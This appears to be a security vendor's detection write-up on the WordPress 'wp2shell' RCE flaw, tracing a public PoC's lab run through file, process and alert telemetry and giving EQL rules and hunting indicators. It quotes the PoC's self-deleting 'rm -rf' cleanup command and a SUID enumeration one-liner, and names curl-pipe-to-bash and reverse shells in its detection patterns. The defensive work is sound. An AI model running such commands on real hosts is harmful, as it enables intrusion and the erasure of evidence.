The activity maps to Exploit Public-Facing Application (T1190), Server Software Component: Web Shell (T1505.003), and Command and Scripting Interpreter (T1059).

wp2shell PoCs and what we're seeing in telemetry

Representative public repos appeared within hours of disclosure:

• Icex0/wp2shell-poc
• 0xsha/wp2shell
• sergiointel/wp2shell-poc
• dinosn/wp2shell-lab

Most drive the same batch entry point. Honeypots and telemetry show a mix of vulnerability scanning and full exploitation. On hosts with Elastic Defend, the post-exploitation picture is consistent:

• httpd, apache2, or php-fpm spawning a shell and running short discovery commands (sh -c id is a common first confirmation).
• New paths under wp-content/plugins/wp2shell_<hex>/ when the plugin-upload chain is used unchanged.
• Access-log markers such as POST /?rest_route=/batch/v1 with User-Agent: wp2shell on stock PoCs.

That web-server-to-shell relationship is the durable detection opportunity. PoC-specific strings help for triage, not for long-term coverage.

wp2shell lab walkthrough: from PoC execution to Elastic alerts

The Icex0 PoC drives the batch SQLi-to-administrator bridge, uploads a plugin-backed webshell, and executes commands through it. Each shell invocation generates a fresh random plugin name (wp2shell_<hex>), so repeated runs produce multiple plugin directories on the same host. That is what you see in the figures: one run may reference wp2shell_6a5566a6, another wp2shell_79b06a80 or wp2shell_360866a8. The hex suffix is a fragile IOC; the parent process and command patterns are not.

Every successful run follows the same skeleton:

1. Staging: apache2 (or another technology) writing plugin files
2. Execution: apache2 (or another technology) spawning a shell from the plugin working directory.

Elastic Defend records both, and the SIEM rules stack on top as commands execute.

wp2shell staging: plugin upload file events on disk

Before any shell alert fires, the file timeline tells the story. The staging sequence is consistent across runs:

In the figure above, we can see the following sequence of events:

1. Write probes: apache2 creates and deletes temp-write-test-* files under wp-content/ to confirm the directory is writable.
2. Upload staging: A zip lands under wp-content/uploads/ (for example wp2shell_6a5566a6.zip), with a temporary PHP upload file under /tmp/.
3. Unpack: PHP is written under wp-content/upgrade/wp2shell_<hex>/.../wp2shell_<hex>.php.
4. Install: The plugin directory is renamed into wp-content/plugins/wp2shell_<hex>/.

All of this is apache2 acting as the file writer, which is normal for a WordPress plugin upload but abnormal at this volume and with these filenames on a production site.

Alert overview: what fired during wp2shell exploitation

Running the PoC end-to-end on wp2shell-lab produced 12 alerts, all as www-data on the same host:

The alerts cover backdoor upload and the execution of suspicious and unusual commands. These rules are discussed below.

• Payload Execution by Web Server (EDR)
• PHP File Creation in WordPress Plugin Directory (SIEM)
• Suspicious Command Execution via Web Server (SIEM)
• Unusual Command Execution via Web Server (SIEM)

The alert table ties file paths to process activity. The two file-creation alerts reference plugin directories such as wp-content/plugins/wp2shell_79b06a80 and wp2shell_360866a8. The command-execution alerts show /usr/sbin/apache2 as the parent and /usr/bin/dash running sh -c -- id, whoami, and hostname from those same plugin paths. File creation fires on the drop; endpoint prevention fires when the shell runs; SIEM rules accumulate as each command executes.

Process lineage: apache2 spawning a shell in the analyzer graph

The Elastic analyzer graph makes the wp2shell web-server-to-shell transition visible in one view:

The chain is systemd → apache2 → apache2 → dash → hostname. The apache2 worker node shows the preceding file and network activity (8 file events, 7 network events in this session). The dash node is flagged as an analyzed event with 3 alerts attached and the process terminated by prevention. That is Payload Execution by Web Server doing its job: stopping the shell the moment apache2 crosses from serving HTTP to running a payload.

What commands does the wp2shell PoC run after exploitation?

Expanding the process and file event table shows everything the Icex0 PoC ran on the host, not just the first three discovery commands:

From process.working_directory set to wp-content/plugins/wp2shell_<hex>/, apache2 spawns dash with sh -c -- id; whoami; hostname. Each command runs as a child (id, whoami, hostname) under the web server parent. That is the pattern we see in telemetry and in the alert overview above. The attacker can of course choose what commands to run here.

The Icex0 PoC removes its own plugin after execution:

sh -c -- d=$(pwd); case "$d" in */wp-content/plugins/*) cd / && rm -rf "$d";; esac

That deletes the plugin directory and the staged zip. Responders should not treat a missing wp2shell_* folder as evidence the host is clean if process alerts already fired.

Attack discovery: correlating 25 wp2shell alerts into one incident

When you pivot from individual alerts to Attack discovery, the narrative pulls the session together. After multiple PoC runs and the extended recon pass, Elastic grouped 25 alerts on wp2shell-lab into a single incident:

Attack discovery summarizes the arc:

1. Initial access: wp2shell exploitation via the batch API. apache2 creates multiple plugin directories under wp-content/plugins/ (wp2shell_78b05e60, wp2shell_369fdaf8, and others across repeated runs).
2. Execution: apache2 spawns dash; prevention alerts fire on shell execution. The PoC runs discovery commands and attempts self-cleanup.
3. Persistence: Additional plugin drops from repeated shell invocations (wp2shell_4014c5b3, wp2shell_e358ff3b, wp2shell_8a5566a0, and more).
4. Discovery and privilege escalation: From a fresh webshell, reconnaissance commands including SUID enumeration (find / -perm -u=s -type f). This is where the extended lab pass adds alert volume beyond the initial id/whoami/hostname trio.

This demonstrates why we detect the behavior rather than the plugin name.

PHP File Creation in WordPress Plugin Directory

PHP File Creation in WordPress Plugin Directory fired several times in our primary run, on paths such as wp-content/plugins/wp2shell_79b06a80 and wp2shell_360866a8. The rule keys on Elastic Defend file events where a web-related process creates PHP under a WordPress plugin path:

file where event.type in ("creation", "change") and (
  process.name in (
    "nginx", "apache2", "httpd", "php-cgi", "php-fcgi",
    "php-cgi.cagefs",  "sw-engine-fpm",
    "wget", "curl", "bash", "dash", "sh", "tcsh", "csh",
    "zsh", "ksh", "fish", "mksh", "busybox"
  ) or
  process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi")
) and
file.path like~ "*/wp-content/plugins/*"

It is the earliest structured signal in the alert set: the drop lands before the shell executes. The rule ships with a direct reference to the Icex0 PoC. It is scoped to plugins/ only and will not catch the SANS-documented INTO OUTFILE variant under wp-content/cache/, which is why the shell-spawn rules below matter as a second layer.

Payload Execution by Web Server

Payload Execution by Web Server is the Elastic Defend behavioral rule behind the two critical alerts in the overview. It matched when /usr/sbin/apache2 spawned /usr/bin/dash to run suspicious commands. The rule treats web server parents (apache2, httpd, nginx, php-fpm*, and others) launching a shell with high-risk command lines as payload execution. To avoid filling the whole blog with EQL queries, a snippet is displayed below:

process where event.type == "start" and event.action == "exec" and (
  process.parent.name in (
    "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne",
    "httpd.worker", "flask", "php-cgi", "php-fcgi", "php-cgi.cagefs", 
    "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman",
    "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm"
  ) or
  process.parent.name like ("php-fpm*", "gunicorn*", "*.cgi", "*.fcgi") or
  [...]
  [Additional web server technologies]
  [...]
) and
process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in ("-c", "-cl", "-lc") and
process.command_line like~ (
  [...]
  [Suspicious command lines]
  [...]
)

Discovery commands are explicitly in scope, alongside decoding pipelines, reverse shells, credential paths, and more. The full rule logic can be found here. Where prevention is enabled, the rule terminates the process via kill_process, which is why the analyzer graph shows dash as a terminated analyzed event. This is the tightest endpoint signal for "web RCE just succeeded."

Suspicious Command Execution via Web Server

Suspicious Command Execution via Web Server produced three alerts on the initial discovery commands and additional matches when we ran the extended recon pass. This rule is very similar to the previous rule, but does not have preventive actions, and therefore has fewer exclusions baked in, decreasing the risk of introducing false negatives.

Unusual Command Execution via Web Server

Unusual Command Execution via Web Server is a new terms rule: it uses statistics to understand which shell command lines each web-server parent normally runs on a host, then alerts on lines that break the baseline. It produced five alerts in our primary run, the highest count in the set.

Generally, a PoC invocation introduces command lines the host has never seen: compound discovery strings, recon one-liners with uname and find, and cleanup scripts that reference wp-content/plugins/. The rule casts a wider net than “Suspicious Command Execution”. When both fire on the same host within the same session, treat the cluster as high confidence.

Suspicious and Unusual Child Execution via Web Server

Two related SIEM rules cover cases where the web stack spawns non-shell children (interpreters, downloaders, reverse-shell helpers):

• Suspicious Child Execution via Web Server
• Unusual Child Execution via Web Server

They did not appear in the 12-alert overview because the Icex0 chain goes through dash and standard discovery binaries, which the command-execution rules already cover. They still belong in the same rule set on WordPress hosts: modified exploits that invoke curl | bash, python -c, or a reverse shell without passing through the discovery shortlist will land here instead.

Payload Downloaded via Curl or Wget by Web Server

Another rule worth mentioning is Payload Downloaded via Curl or Wget by Web Server. This is an EDR rule (with killing actions) that detects wget/curl invocations via a sh -c sequence, from web server parents. This is a common technique to download additional tooling once RCE was achieved on a host. Although it did not fire on the PoC, it may fire in a real attack.

Which Elastic rules should I enable for wp2shell?

Enable these pre-built Linux rules on WordPress hosts:

• PHP File Creation in WordPress Plugin Directory
• Suspicious Command Execution via Web Server
• Unusual Command Execution via Web Server
• Suspicious Child Execution via Web Server
• Unusual Child Execution via Web Server

Several building block rules are triggering on certain activity from the attack chain, ranging from file creation to reconnaissance commands, and are listed below:

• Unusual File Creation by Web Server
• Linux System Information Discovery
• System Owner/User Discovery Linux

Deploy Elastic Defend with prevention enabled on hosts that run WordPress. If your web stack uses a parent process not in the current lists, let us know so we can extend scope.

Hunting queries

Use these for quick hunts while tooling is still stock. Treat them as fragile: rename the plugin slug or change the User-Agent and most of them disappear. Behavioral rules above are the durable layer.

wp2shell network and access log indicators

• POST /?rest_route=/batch/v1 or POST /wp-json/batch/v1 with a nested JSON requests array.
• User-Agent: wp2shell, User-Agent: cve-2026-63030/1.0, or User-Agent: rezwp2shell on batch traffic.
• HTTP 207 Multi-Status responses on batch requests (supporting evidence, not standalone).
• Follow-on requests to /wp-admin/plugin-install.php, /wp-admin/update.php?action=upload-plugin, or /wp-json/wp/v2/users?context=edit.

wp2shell host artifacts

• Directories matching wp2shell_<hex> under wp-content/plugins/.
• New or modified .php under wp-content/plugins/ or wp-content/cache/.
• Write-test files temp-write-test-* under wp-content/ (seen in our lab run and in staging behavior).
• Unexpected WordPress administrator accounts created during the exploitation window.
• PHP webshell hashes published in open research (supplemental; prioritize process and file telemetry).

How to block wp2shell if you can't patch immediately

If you cannot patch immediately, block anonymous access to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the edge, or disable anonymous REST access via a hardening plugin. Expect breakage of legitimate batch consumers; use only as a temporary measure until 7.0.2 or 6.9.5 is deployed.

wp2shell detection: patch first, then verify your coverage

wp2shell turns a REST batch parsing bug into pre-authenticated code execution on default WordPress installs. Public PoCs spread fast, and the host footprint is predictable: plugin files staged under wp-content/, then a web server parent spawning a shell that runs a malicious command.

We ran the Icex0 chain end-to-end in a lab and watched the detections line up with that sequence. PHP File Creation in WordPress Plugin Directory catches the drop. Payload Execution by Web Server fires first on the endpoint when apache2 runs the payload. Suspicious and Unusual Command Execution via Web Server adds SIEM depth on the same shell activity. Additional rules are in place to detect real-world activity beyond the PoC. Patch first, hunt the IOCs while they last, and lean on that behavioral stack for coverage that survives PoC renames.